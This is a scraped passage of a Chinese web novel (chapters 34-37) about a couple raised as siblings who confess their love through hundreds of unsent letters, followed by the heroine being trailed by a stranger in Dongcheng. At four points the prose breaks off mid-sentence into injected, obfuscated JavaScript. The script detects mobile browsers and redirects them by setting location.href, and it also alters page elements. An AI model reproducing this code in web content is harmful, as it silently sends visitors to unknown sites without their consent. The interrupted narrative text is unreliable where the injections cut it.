沈燎点开文件夹,新建草稿,手指悬停在键盘上方,良久,才敲下第一个字。 写完一封邮件,时间已经过去半小时,沈燎双眼发涩,使劲闭了闭眼,又睁开,盯着末尾的几个字安静地看了好一会儿。 他关了电脑,身体往后靠,后脑勺贴在冰凉的墙壁上,用发紧发涩的眼睛,继续瞪着对面墙上的霉斑。 后来是怎么睡着的,已经不记得了。 这样的日子重复了大概半年,直到有一天早上,沈燎在出租楼下的路口对面看见了陆涵音。 她穿了风格很简约的灰色女士西服,梳着一丝不苟的低马尾,戴着墨镜,就这么隔着马路盯着他。 沈燎犟头倔脑地站在原地,跟她对望了差不多五分钟。 然后他就低头笑出来了,嘲笑自己的幼稚。 他看了看马路两边的车流,然后一阵风似的迅速窜过去,站定到陆涵音面前。 陆涵音双手环胸,毫不掩饰地打量他的牛仔裤和旧夹克,开口说:“混那么惨,还在倔?” 沈燎背上还背着黑色双肩包,双手插兜,微抬下巴:“我不会低头。” “我什么时候说过要让你低头?”陆涵音轻笑一声,笑完,忽然脸色一变,猛地侧过身子狠狠咳嗽了半分钟,咳得折下腰,惊心动魄,让人怀疑她是不是要呕出血来了。 车里的司机立刻过来,要给她递纸巾,低声询问她的情况。 沈燎皱着眉,抿着唇,一言不发。 等她缓过来,他才闷闷地说:“你情况怎么样了。” 陆涵音:“上车说吧。” 沈燎迟疑片刻,看着她苍白的脸色,瘦削的面颊,最终还是坐进了车里。 陆涵音递给他一个文件袋,叫他看看。半晌,沈燎看完,还给她,面无表情:“什么意思?把你的公司给我,这是什么弥补措施吗?陆……” 他一顿,说:“姐,我不需要。” 陆涵音摘掉墨镜,露出疲惫的眼睛,摇头说:“该弥补你的是爸爸,不是我。而且,沈燎,我不是要把公司给你,你远远不够格,我只是给你一个机会,能不能把握住,看你自己。” “为什么。” “不为什么,我只是图个心安。” 沈燎没说话。 陆涵音目不转睛,看着他,“帮你一把,对我没有任何损失,接下这个机会,也只会对你更好。” 他仍旧沉默,眼帘垂着,一动不动。 “好,你沈燎是死是活,没人在乎,你自己也不在乎,没事,这很正常,”陆涵音的语气变重,“但你倒了,沈离离怎么办?” 听见这个名字,他半边头皮都麻了。抬眼瞪着她,表情凶狠:“你乱说什么!” “我说错了吗?”陆涵音反而笑了笑,“你不就觉得,这世上只有一个沈离离在等着你吗。学音乐不便宜,她有理想,也有天赋,但天赋不可能让她一路顺风顺水。” “沈家,陆家,对你来说都不是家,你一个也不在乎,这没关系。但小燎,好好想想吧,你还有个妹妹。” 那天晚上,这座城市下了一场大雨。 连日的高温被浇灭了锐气,却并不让人感到轻松,反而将这燥热发酵成闷热,又潮又闷,空气好像变成了桑拿房的蒸气,一切都变得滑腻,黏糊糊。 沈燎在这一晚离开了那间充斥着霉臭味的出租屋。 此后的每一天晚上,他睡觉前都会在心中默念一个名字。不需要理由,也不需要说其他话,像是虔诚的信徒,只要心中有神,就能感到安定。 直到一个月后,他才缓缓适应了陆涵音那边的工作节奏。 某天晚上,他再次打开邮箱草稿,像是写日记的标准格式一样,先打下致沈离离四个字。 偶然间,目光一转,忽然瞄到了在出租屋写的最后一篇文字。 致沈离离: 离离,今天过得怎么样?我这里是凌晨两点二十分,失眠已经两周。你那边是下午吧,有没有和朋友出去玩?还是又一个人宅在家里? 今天早上没有及时回复你的消息,我得和你说一声抱歉,最近实在太忙,连我自己也惊讶,竟然连挤出时间回复一条简单的问候也做不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369088|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我不该找太多借口,冠冕堂皇地借此遮掩自己的错误。可我……实在害怕。 离离,我隔壁住了一群乐队人,我不太能辨认他们风格,但感觉你不会很感兴趣。因为太吵,连我也觉得吵,你估计更不喜欢。 今天晚上有课,我趴在桌上眯了一会儿,做了个十分钟的短梦,梦里全部是你。 你泪流满面,说哥哥怎么还不回家。我一看见你的眼泪就没办法了,这辈子都没办法了。心慌得像被一万只虫子啃咬,但我什么都做不了,甚至不能给你擦一擦眼泪,不能抱一抱你。 离离,你不知道,我有多想你。 离离,你…… - 三百多封未发送的邮件草稿,每一篇开头都是致沈离离。 沈离离恍惚地想到了贝多芬有名的钢琴曲《致爱丽丝》。明明沈燎的文辞并不优美,明明三百多封邮件大部分都被他写得像是流水账日记,明明…… 可她就是莫名觉得,这三百份“致沈离离”,比钢琴曲还要美妙,动听,感人至深。 近乎失联的三年里,她始终以为他从没想过她,始终以为只有自己心陷囹圄,困在一段注定无果的感情里,无法自拔。 却从没想过,他在上千个难熬的深夜思念自己,也从没想过,有一天真的能得到来自他的情书,不是一封,一百封,而是三百多个夜晚一字一句拼成。 沈离离内心翻涌如潮,痴痴地看着屏幕里每一个字,每一句话。 最先涌上心头,把她堵得发闷发痛的情绪,竟然不是欣喜,反而是悲伤。 如果她没有去而复返,如果她今晚没有临时起意带着尤克里里来找他,如果,她没有送他唱片,对他说我喜欢你,如果,如果…… 那这些隐秘如深海的爱意,他究竟还要藏多久? 一辈子吗? 她忽然安静下来了,深呼吸后,坐下来,认真仔细地看完了好几篇,直到浴室里的水声忽然停止,室内陷入寂静。 她听见开门声,转身回头,与沈燎对上视线。 他只穿了浴袍,还拿着毛巾在搓头发,整个人被无形的力量定在原地,一动不动,神情先是迷茫,然后是震惊,时间一秒一秒流逝,他渐渐有种五雷轰顶的感觉。 “你……离离?你怎么……” 他快步走过来,擦头发的毛巾被随手扔在一边,走到沈离离跟前,弯下腰,满眼心疼,用手轻轻给她擦眼泪。 “怎么了?怎么哭了,跟哥说,发生什么了,是不是学习上出了什么问题?”沈燎嗓音低沉,温柔,身上带着沐浴露的清香,但更多的,大概是某种属于男性荷尔蒙的气味。 沈离离一言不发,泪眼朦胧盯着他看了两秒,然后猛地起身一把将他抱住,沈燎猝不及防,往后退了两步才稳住身体,也把她稳稳接住。 她的手臂紧紧箍住他的腰,脸埋进他的胸膛,轻轻抽泣,不停流泪。 “别哭,不管出什么事,我们一起解决,会有办法的,好不好?”他偏头抱住她,搂着她的肩膀,抚摸她的长发。 目光忽地一瞥,看清了电脑屏幕上的字。 34. 第 34 章 瞬间,沈燎的身躯骤然僵硬,连带着指尖开始微微发颤。 他握住她的肩膀,把她拉起来,低下头,与她额头相抵,看着她水晶似的泪眼,用拇指轻轻擦拭她脸上的泪痕,“离离,你听我说,那些信,我原本没想——” “哥,”沈离离忽然打断了他,抬眸对着他的双眼,“我们私奔吧。” “……” 沈燎愣了好几秒,“什么?” 她重复:“我们私奔吧。” 眼神坚定得像个战士,泪水都变成了勋章,丝毫没有什么破碎气质。 他瞧了她一会儿,眉心微动,忽然侧过头,有些无奈,又有些愉快地笑出声,“怎么突然想到,私奔?” 沈离离说:“我不要等到明晚了,我想和你一起回去,想跟你待在一起,能多一分钟,多一个小时,多多久都好。” 他垂眸望着她,眼底的笑意与深情无法遮掩,唇角也忍不住上扬。 “明天不和姑姑他们一起逛集市了?” “不逛了,本来也没什么好逛。” “澜西很有名的花田也不去看了?再过几周,花期就要结束了。” “不去了,以后机会多得很,而且,”她说,“我想跟你一起看。” 她听得出来他是在开玩笑,却还是把自己的一颗真心赤裸裸地捧出来,摆在他眼前,坦坦荡荡地说,看吧,放心地看吧,它就是在爱你,不需要质疑,不需要犹豫,它会一直选择你。 沈燎嘴角的笑容缓缓僵住,眸底故作轻松的笑意也渐渐凝固,染上了灼热的情意。 “沈离离,”沈燎忽然轻轻叹息,“你知不知道自己在说什么。” “我知道,”她抬手捧着他的脸,仰着脑袋凑近,“我只选你,我只要你。不管过去还是现在,或者很远很久的将来,我只要你。” “哈哈……”他喉间溢出笑,仍旧低沉而磁性,是真正的,丝毫不遮掩的愉快。 沈燎用视线紧紧锁住她,看着她湿漉漉的眼睛,还微微泛红的双颊和鼻尖,以及殷红欲滴的唇。 她的温度,她的呼吸,全都在明明白白地告诉他,这不是梦,这是真实发生的。 沈离离不再等待,踮起脚,拉近他的脸,吮住他的唇。 几乎半秒的反应时间,沈燎迅速进入状态,带着不由分说的侵略攻势入侵她的唇齿。一手揽着她的腰,一手按在她的脑后,全都在用力把她拉向自己,融入,再融入,永不分离地融入彼此。 两人疯狂从对方胸腔中汲取氧气,吻得缠绵不休,胸口涨痛。 鼻子已经呼吸不过来,时不时就要停下来喘息片刻,然而尚未平复呼吸,汹涌潮水再次涌上来,他们浸泡在爱的海洋中,只有彼此能提供氧气。 这时候,沈离离莫名想起了上个月的某一天晚上,她邀请沈燎到学校报告厅看动画短片。 坐在光线昏暗的厅内,凑到对方脸颊旁边,悄声耳语,交换自己心目中的结局。 要么爱,要么死,遇见你以后,我已经无法独活。 他们同时在对方眼睛里看到了亮闪闪的光芒,然后相视一笑。 漫长的吻结束后,两个人都是面颊涨红,重重地喘气,沈离离把额头埋在沈燎的肩膀上,忽然就开始笑。 两个人相拥着,齐齐笑起来,好像很标准的那种坠入爱河的傻瓜。 沈离离不忘记正事,立刻叫他重新买机票。 沈燎挑眉瞧着她,“真要跟我提前走?” “君子一言驷马难追。” 他唇角勾起,“好。” 时间已经不早,沈离离还想缠着他,叫他把这三年发生的事情原封不动跟她讲一遍,被他笑着弹了一下脑门,“明天飞机上时间多得很,但现在如果你再不去睡觉,明早可能要睡过头。” 沈离离没立刻回房间,瞅着他,沉默好几秒。 沈燎:“……怎么了?” 沈离离抿了抿唇,脸烫得要滴血,问他:“你……就不打算做别的事情么?” “还有什么事情?” “……” 她摇了摇头,拿起尤克里里,转身离开,“没什么。明天见。” “晚安。”他笑了笑。 沈离离没回话,低着头迅速回了自己房间,然后砰的一声,把门摔上。 她抱着琴,靠着门,脑袋依然晕乎乎的,脸还是很烫,要烧起来那样烫。 她长长地呼出一口气,把尤克里里放回原位,用手背贴了贴脸颊,才动身上床,把自己埋进被窝里。 而另一边的沈燎,再次失眠,躺在床上不过半小时,再次起身进了浴室。 他盯着镜中的自己看了好一会儿,缓缓叹气,闭了闭眼。 欲望是一团火,而沈离离的存在,将这火浇筑得愈燃愈烈。他无时无刻不在提醒自己,她年纪还小,还那么冲动,那么天真,一颗心像水晶一样晶莹剔透。 她以后要面临的选择会更多,而他终究想要留给她后悔的机会。 - 次日一早,沈离离听着闹钟一跃而起,飞快冲进浴室洗漱,又用最短时间换好衣服。 行李在昨晚回房间后就已经收拾好,不过半个小时,沈离离整装待发。 她把箱子拉到门口,站定看了眼时间,重新转回去把屋子检查一遍有没有东西漏拿,然后又走回门口,再次看时间。 还差十分钟才到约定好的六点。 沈离离焦急又慌乱,把箱子直接拉到沈燎房间门口,然后沿着走廊来回走了两圈。 忽然,听到开门声,她紧张得一激灵,刚想找地方躲,就听到沈燎的声音。 “起那么早?”他有些惊讶,随后笑说:“在外面转悠什么,怎么不直接敲门。” 沈离离连忙小跑过去,“我怕姑姑醒了,看见我们两个要跑……” 沈燎失笑,“真当这是私奔?” “怎么不算,”她说,“明明应该打声招呼的,都怪你,一下子就让我……失去理智了。” “怎么说得我像引诱皇帝的祸国妖精?” “难道不是么?”她噗嗤一声,真被他这比喻逗笑了。 “行吧,妖精就妖精了,”沈燎幽幽叹气,语气很哀怨,“谁让我不可以忤逆陛下呢。” 沈离离拽着他的胳膊往他屋里走,拼命憋笑,“朕好像没有说过爱妃不准忤逆朕。” “这可不是陛下准不准的事情,”他笑了笑,手下忽然用力,抱住她的腰,俯身亲了一下她的额头,一触即离,低声说:“看不出来吗,是我根本做不到拒绝你。” 脸唰地一下红成苹果,沈离离呆呆维持原姿势,一动不动。 良久,她反应过来,说:“沈燎,你想亲就亲吧,不要说情话了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378996|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈燎走过去把行李箱拉出来,闻言,回头看她,“怎么了?” “你不适合讲情话,”她脸还红着,眼神却很认真的样子,“男人情话说不好,容易变油。” 沈燎轻笑出声,拖着行李箱走过来,空着的那只手抬起来,轻轻揉了把她的后脑勺,“走吧,可以私奔了。” 说到私奔二字,沈离离刚才被沈燎逗笑赶跑的紧张情绪又涌上来。 那一种混杂着激动的紧张,并不让人痛苦,反倒可以成为兴奋的助燃剂。 她不停想象被姑姑发现后,自己该如何解释,沈燎又会说什么,想象姑姑质疑他们两个的关系的那一天,会是什么样…… 总之,她不排斥这种情绪,甚至有一丝隐秘的愉快。只是这么意识到的时候,内心还是不可避免地升腾起羞耻感。 沈离离甩甩脑袋,快步跟上沈燎,与他并排而行。 因为时间太早,一路上都没碰到什么人,他们顺利地退了房,坐上车,前往机场。 不知道是不是因为西南地区日出较晚,沈离离望着车窗外,已经将近七点,连绵群山之上,太阳尚未完全升起,正处于晨昏交界的深蓝时刻。 朝阳正缓慢往上爬。 她看得目不转睛,好几分钟后,才想到掏出手机来拍照。 拍完回过头,冲沈燎开心地笑:“哥,我们一起看日出了。早上好!” 他只往她身后的车窗外看了一眼,视线回到她的笑脸上,然后也忍不住勾起唇角,“嗯,早上好,沈离离同学,假如今天碰不到你,那就祝你下午好,晚上好,晚安。” 她睁大眼睛,眸中的惊喜像烟花一样炸出五彩缤纷的光,笑容更大。 这是她很多年前,拉他一起看的一部电影里男主角结局的台词。她那时还说,这将会是她的人生电影之一。 “沈燎,完了,”沈离离目光闪烁,轻轻说,“我真的好喜欢你。” 他笑望着她,良久,回复道:“我也是,很喜欢你。” 几十分钟后,顺利抵达机场。 值机时,沈离离再次想起昨晚,沉默片刻后,说:“那些邮件,我还没看完呢。” “很想看?”他垂下眼,看她。 “肯定呀,”她低着头,闷闷地说,“要是我也给你写了三百封信,你会忍住不想看吗?” 沈燎沉默两秒,道:“以后发给你看。” “为什么不是现在?”沈离离抬起头。 他没说话。 “沈燎,你是不是压根没打算跟我说,这三年你到底遇到了一些什么事。”她语气沉下来,皱眉盯着他。 “不是,我只是不知道应该怎么跟你说。”他叹了口气,把她的手拉过来,放在自己腿上,轻轻揉捏她的手心。 沈离离反手抓住了他的手指,他微微一愣,任由她抓着。 两人十指相扣,手心贴着手心,干燥又温暖。身心安宁时,似乎能感受到彼此的脉搏,在轻轻跳动,触碰。 这是一只一辈子也不想松开的手。 沈离离也忽然叹气,脑袋一歪,靠到他的肩膀上,嘟囔道:“算了,我才不要逼你,等你想说的时候再说吧。” “离离。” “嗯?” “谢谢你。” 她灿烂一笑,“不用谢,我们可是能一起私奔的关系呀。” 35. 第 35 章 飞机落地海文,沈离离已经睡醒第二觉。 她的睡眠质量真的很让人嫉妒,很少做梦,且不易被惊醒。从小到大,沈燎不止说过一次羡慕。 走出机场,沈燎马不停蹄要赶到公司,只能再叫了一辆车送沈离离回去。 她精神抖擞,笑着与他挥手道别。 回到家,那股兴奋劲儿还没过去,沈离离跑去弹了一会儿琴,怀抱着满脑子蹭蹭冒出来的灵感又坐到录音室里。 一直忙活到肚子咕咕叫,她才从自己的世界里走出来。 她随便点了家外卖,走到客厅,瘫在沙发里玩手机。 忽然收到一条消息,是姑姑发来的,昨天在徒步路上拍的照片。 上山前姑姑举着手机自拍的四人合照,姑姑站在中间,沈离离和林砚洲分别贴在她两边,沈燎则在沈离离旁边,头往她的方向微偏,神色十分温柔。 他们好像确实很久没有拍过合照了。 沈离离的目光在自己和沈燎的脸上来回欣赏,愉快地点了保存。 保存完,退出大图,回到聊天框。沈离离忽地一停,后知后觉,意识到问题。 她盯着姑姑的头像,立马坐直了,捧着手机,大拇指在键盘上停着,飞速思考措辞。 该怎么回复? 在这一刻,沈离离清晰感受到了搬起石头砸自己的脚是怎样感受。 大概半分钟,对面先跳出了一条消息,沈离离下意识一惊,定睛看去。 姑姑:已经到海文了吧,吃饭没有? 沈离离:嗯嗯已经到了,点了外卖。姑姑你们吃饭没? 她一颗心还悬着,紧张又兴奋。 姑姑:刚吃好【微笑】可惜你今天不在,那片花田很美。 沈离离:嘿嘿没关系的,以后还有机会嘛。 捧着手机等了好一会儿,姑姑没有再回复。 她微微一愣,把手机页面切到社交媒体上,刷了几分钟的视频,又切回来,刷新了好几次,终于才确认,姑姑真的不回了。 什么都不问吗?怎么会这样? 说不清内心是什么感受,好像既没有松口气,也没有很失落,隐隐有种,果然是这样的感觉。 她想了想,再次发消息给姑姑:您不说我吗?就是……今早和我哥一起回了海文。 姑姑很快回她:这有什么好说你的,老师突然给任务,又不是你的问题。姑姑可没死板到这种地步。 沈离离看着那行字,微微抿了抿唇,陷入良久的沉默。 端午假期就这样过去,好像充满了惊喜,又好像只是平淡温馨的。 无论如何,沈离离觉得自己一定会把昨天晚上那三百多封信,记很久很久。 开学后,生活再度回归日常,毫无波澜地往前走着。 沈离离和沈燎依然每天在手机上聊天,每到周末,只要有空,必然要黏在一起。 对沈离离来说,这样黏腻的恋爱是很正常的。在一起前,因为那层似有若无的兄妹关系,总得注意些分寸,既不能太远,也不能太近。 确定关系后就不一样了,有了光明正大的,可以总是和对方贴在一起的理由。 她喜欢牵他的手,喜欢埋在他的颈窝里,喜欢用毛绒绒的头发去蹭他敏感的脖颈,还有扯扯他的衣角,双臂勾着他的脖子,让他把脸凑近…… 沈离离简直怀疑自己是不是得了某种名叫沈燎皮肤饥渴症的疾病。 但对沈燎来说,短时期内迅速习惯这种亲密接触似乎有点困难。这大大影响了沈离离一直以来对他,或者说对男人的刻板印象。 他还是不太能在游乐园,或海洋馆之类的公共场合接吻,非得找个无人角落,才能纵情投入。不过在家里的话,他往往是引导的那一方。 哥哥比想象中更青涩诶。沈离离想。 “离离,想什么呢?” 沈离离回神,抬头看向对面的陈夏安,迎接到对方疑惑的神色。 她摇摇头,轻咳一声,“一不小心走神了。” 陈夏安挖了一勺圣代冰淇淋,送进嘴巴里,“接着讲呀,还没说完呢,端午假期,你和沈燎发生什么了?” 六月下旬,夏季已至。 咖啡店外面,艳阳高照,阳光有种要把全世界烤融化的架势。还好咖啡店里有空调。 沈离离转了转笔,用笔尖点点笔记本,佯装严肃说:“陈安安同学,我们可是来自习的,你怎么满脑子八卦!” 陈夏安心安理得地继续吃冰淇淋,“我怎么记得是某人先跟我提她的感情问题的呢。” “咳咳,”沈离离眼睛往下,瞥了眼桌上的公共课复习笔记,“那是课间休息时间。” 陈夏安:“那继续课间休息吧。” 沈离离看了她两秒,毅然拿起一旁的圣代,点头:“支持。” 陈夏安看着她笑出声。 两人有一搭没一搭地聊着,不一会儿,话题又转回到沈离离的恋爱上。 “采访一下,和暗恋对象成功双向奔赴是什么感觉?”陈夏安把勺子举到她下巴前面,充当话筒。 沈离离哈哈大笑,思考片刻,回答:“第一感觉是很爽。” “还有第二感觉?” “有,”她顿了顿,说:“有点沉重,还是不说了。” 陈夏安:“还有比我那个控制狂前男友还沉重的话题么?” “那还是比不过。”沈离离很同情地对她眨了眨眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“什么?” “他肯定有事瞒着你,”她很认真地说,“而且不是小事,是导致他缺乏安全感的根源。” 沈离离沉默了好一会儿。 陈夏安继续道:“不过我得提醒你啊,离离,虽然你们青梅竹马,看上去对对方知根知底的,但你还是得小心。爱情不是公主骑士的游戏,你是去享受的,不是去拯救的。” 沈离离恍然觉得,陈夏安此刻像是一个已经将情爱二字剖析干净的情感大师。 她懵懂地点点头,“我尽力。” 爱情当然不是拯救与被拯救的游戏,她想,但爱情的力量,或许有时也会大得超乎想象。 不过,谁知道呢。这些定义万千的东西,总是让人理不清。 总之,沈离离的六月就这样冒着甜蜜泡泡开始,也冒着甜蜜泡泡结束了。 最后一周,她忙着准备期末考试,忙着准备申请学校的文书,以及,满怀期待地迎接即将抵达的盛夏。 36. 第 36 章 七月十号,暑假正式开始的三天前,沈离离接到了沈燎的一通电话。 具体内容大概是他十三号,也就是她放假那天,要去出差,没法亲自接她回家,只好让司机在校门口等她。 沈离离问他什么时候回来。 沈燎说差不多要去三天,十六号早上才能回。 她嗯嗯两声,表示了解。 脑子里想的其实是,沈燎果然无比丝滑地忘记了他自己的生日,七月十五号。 于是沈离离很不经意地问他:“要去哪里出差?远不远?” 沈燎没立刻回答,只说:“放心,不远,就在邻省。” 几乎是下一秒,她就嗅到了一丝不对劲的气息。沈燎从不会对她刻意隐瞒出差地点这种小事。以前,即使她不问,他也会把时间地点对她交代清楚。 沈离离下意识就问:“是东城吗?” 他沉默住,没有说话。但这已经是最明显的答案。 沈离离很快略过,用轻松无虞的语气说:“三天都会很忙么?” 沈燎自然顺着她的话回应:“不会,晚上还是可以通话的。” “好的!”她笑嘻嘻答应道。 又闲聊几句,挂了电话,她的笑容凝固在脸上,才怔怔地看着手机屏幕,有点回不过神。 六岁那年,妈妈和警察就是在东城找到她,把她带到海文,带回家。 那是一座什么样的城市?沈离离不太好说,倒不是主观情绪影响,而是她确实对那里很不熟悉。在东城的六个月,她的世界只有狭小昏暗的车库,和隔壁播放电影的声音。 忽然,鼻尖传来一点凉意。 沈离离回过神,才发现下雨了。 她正打算出门,站在宿舍楼下面。雨声吧嗒吧嗒,越下越大,不是淅淅沥沥的绵绵细雨,而是豆大的雨点,又急又猛烈地往地上砸。 空气变得湿咸闷热,夏天的雨,要时间下得足够长才能有凉爽感,否则只会更闷。 沈离离转身回宿舍拿伞,然后又下楼,站在屋檐下,望着雨幕,深呼吸了几秒。接着,她撑开伞,走进雨里,走去学院楼练琴。 要不要按照最初的想法,悄悄去给沈燎过生日,成了沈离离最纠结的事情。 一方面,实在很想要给他一个惊喜,另一方面,确实对东城心生抵触。 这件事,一直又犹豫到正式放假的当天。 沈离离回到家,放了行李,掏出手机刷视频,玩着玩着,手指不受控制地一点,就开始看机票了。 从点进购票软件,到支付,全程只用了三分钟。纠结了三天的事情,结局落点如此轻松。 她恍恍惚惚,才意识到,自己似乎仍旧被困在某一年的某个小车库里。 - 在出发前,沈离离不停想象着,当十五号晚上,沈燎在生日当天忽然见到她,会惊喜成什么样。 沈燎会不会惊喜,她不知道,但她已经快要用兴奋将自己洗脑得上蹿下跳。 可惜,沈离离完全没想到这世界上大部分事情发生的概率都是未定的。计划远远赶不上变化,这是万古箴言。 十五号下午,沈离离坐上了前往东城的飞机,难得没有睡着,在飞机上玩了整整一小时的消消乐小游戏,拼尽全力打发掉等待的时间。 飞机落地,是下午六点。 东城气温更高,室外简直像是高温桑拿房,甚至让人有些呼吸困难,喘不过气。 但有某些时刻,沈离离会怀疑感到不适的是不是只是自己。 身边的人们依然从容自得,只有她,像是蔫掉的枯草,耷拉着脑袋,每吸一口闷热空气都觉得自己的身体又鼓胀了一分。 沈离离只背了个书包,没带行李,实在难受,憋不到计划中的惊喜时刻,下了飞机就给沈燎打去电话。 两秒后—— 您拨打的用户已关机。 ……啊? 她等了几秒,又打了一个,还是关机。 不会还在工作吧。她只能想到这个原因。 沈离离很乐观地打车去了印象中最热闹的一条商业街,找了家咖啡店坐着,一边给手机充电,一边锲而不舍地给沈燎打电话。 隔十分钟打一个,到隔二十分钟打一个…… 一小时后,沈离离彻底放弃,靠进椅背里,盯着眼前的卡布奇诺,陷入沉思。 脑中产生了一个不太美妙的猜想。 咖啡店里有空调,身体舒服了很多,但精神还是处于沮丧。 等待无果,她索性放开肚子,点了一些小吃,戴上耳机开始看电影。开始前,特地看了眼时间。 这次看的是纯打发时间的经典喜剧,看了半天,只觉得无聊,甚至开始打呵欠。 电影进度条差不多过半的时候,沈离离放下甜点叉子,喝了一口咖啡,把电影暂停了,专心致志盯着手机。 两分钟后,手机铃声响起。 她迅速接起来,喂了一声。 沈燎的声音传过来,夹杂在呼啸的风声中,“离离,刚在飞机上,没接到,我马上到家,怎么了吗?” 啊哈,果然。 沈离离抬头望着窗外,属于东城的陌生街景,以及快要日落的天空。 咖啡店里没有放音乐,很安静,人很少,只有不远处一桌坐着个正在工作的白领,眉头紧锁,手指在键盘上噼里啪啦打字。 沈离离目光转回自己桌前,平板上看到一半的无厘头喜剧。 “离离?”沈燎的声音放缓,变得更清晰。他似乎是走到室内了。 沈离离说:“没事,就是想跟你说一声,我今晚来找朋友玩了,明天回家。” 沈燎没说话。 过了一会儿,他冷静地问她:“你在哪?” 沈离离:“一个朋友家。” 又是一阵无声,沈离离很耐心地举着手机,贴在耳朵旁,安静望着不远处发呆。 大概半分钟,沈燎飞快说:“你先找地方吃东西,然后去我发给你的这个酒店,等我。” “哥——” 电话挂断。沈离离登时睁大眼睛,立刻回拨过去。 只一秒,沈燎接通,说:“离离,等着我,今晚不能见到你,我不会安心。不是担心你不能照顾好自己,只是因为我……很想你。” 刹那间,她的话全都堵在嗓子里,什么都说不出来了。 好像最初的惊喜目的完全没有达到,甚至变成了惊吓,但无论是沈燎还是她,对这件事的第一反应都不是烦躁,也不是无能为力的恼怒。 他们只是很平和地,有一点无奈和喜悦地,接受了这件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388541|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好。”沈离离轻声说。 她放下手机,继续吃东西,喝咖啡,戴着耳机看电影。 看着看着,忽然忍不住轻轻微笑。 虽然无厘头,配乐也老土得不行,但起码作为喜剧,它把她逗笑了。 当然,也有可能逗笑她的并不是这部电影。不过沈离离已经懒得思考这些了,她只是重新开始感到期待。 沈燎发来的地址离她所在的地方不远,走过去差不多半小时,正好可以消消食。 沈离离照着导航,慢悠悠走在东城的路上。或许因为黄昏已至,天色渐晚,有风迎面吹过来,即使温度不减,也莫名觉得比下午舒服了很多。 她忍不住想,一个人的心境发生变化,竟然能一定程度影响感官体验。 沈离离一直挑宽敞明亮的大路走,城区晚上很热闹,到处都是逛街的行人和花花绿绿的灯牌,不用太担心安全问题。 只是…… 她再次回头,还是只看见密密麻麻的人群。 已经好一会儿了,沈离离总感觉有人在跟着自己,像是某种隐隐约约的第六感。 她一路都在加快步伐,尽量往人多的地方走,最好每次都从开着门,亮着灯的店前经过。 快一点,再快一点,就要到酒店了。 猛地一个拐角,沈离离的肩膀啪地撞到一个低头玩手机的女孩子,两人都很不好意思,对着对方连连道歉,确认没事后才离开。 这个小插曲过后,不过五分钟,沈离离走到了酒店。 进入大厅,室内的温度顿时让人身心舒畅,她到前台报了沈燎的名字,拿到房卡,走进电梯。 一直到进入套房内,把门上了两道锁,她才完全放下心来。 精疲力尽地倒在床上,瞪着天花板。 忽然间,脑子里有个人影飞快闪过去。她欻一下起身,整个人都抖了一下,脊背发寒。 没有记错。 就在她撞到那个女孩子的时候,她微微侧了头,余光瞥见,就在街对面,确实有个带黑色鸭舌帽的男人一直跟在她斜后方。 沈离离爬上飘窗,眯着眼睛往下面看,看了几秒,又拿出手机,用相机不断放大,放大…… 那个戴鸭舌帽的男人回头,盯着这栋金碧辉煌的酒店。 不一会儿,他动身,朝着来的方向走开了。 沈离离跌坐在飘窗上,面如土色,心跳得飞快,长久地注视着下面的城市马路,回不过神。 好几分钟,才走下来,把窗帘拉得严丝合缝,打开电视,音量调大。 她把自己裹进沙发上的小毯子里,双眼发直,盯着电视上的纪录片看。好像是个历史人文类的纪录片,在讲从古到今的丝绸之路…… 怎么裹着毯子,还是在发冷汗。 沈离离伸出一只手,去拿空调遥控器,滴滴滴好几声把温度调高。又过去好几分钟,才终于舒服了点。 看完两集纪录片,昏昏欲睡。像是大脑极度紧张过后涌上来的疲倦。 她眼皮打架,渐渐闭上眼睛,脑袋靠在松软的沙发里,闻着套房里淡淡的,清幽的香薰味,无法抗拒沉睡的诱惑。 就在这时,几米外传来门铃声。 叮咚——叮咚—— 沈离离霎时间睁开眼睛,心惊肉跳,目光转向门口。 37. 第 37 章 门打开,沈离离出现在后面,脸色有些发白,但表情像是松了口气。 沈燎迈步进去,手里还握着手机,抬臂把她抱进怀中。 女孩子的肩膀顿时松懈下去,没有回抱住他,双手攥拳,放在他肩膀上,呼吸有些急促。 沈燎轻抚她的脊背,低下头去轻声说:“没事,哥哥回来了。” 停顿了好一会儿,两人才关上门,进了屋子。 “发生什么了?”沈燎一边放东西,一边回头看她。 沈离离又坐回沙发里,把电视声音调小,说:“刚才路上一直有个人跟着我,有点害怕。” 沈燎动作一顿,起身走向她,皱着眉,脸色也沉下来,“他还做了什么?” 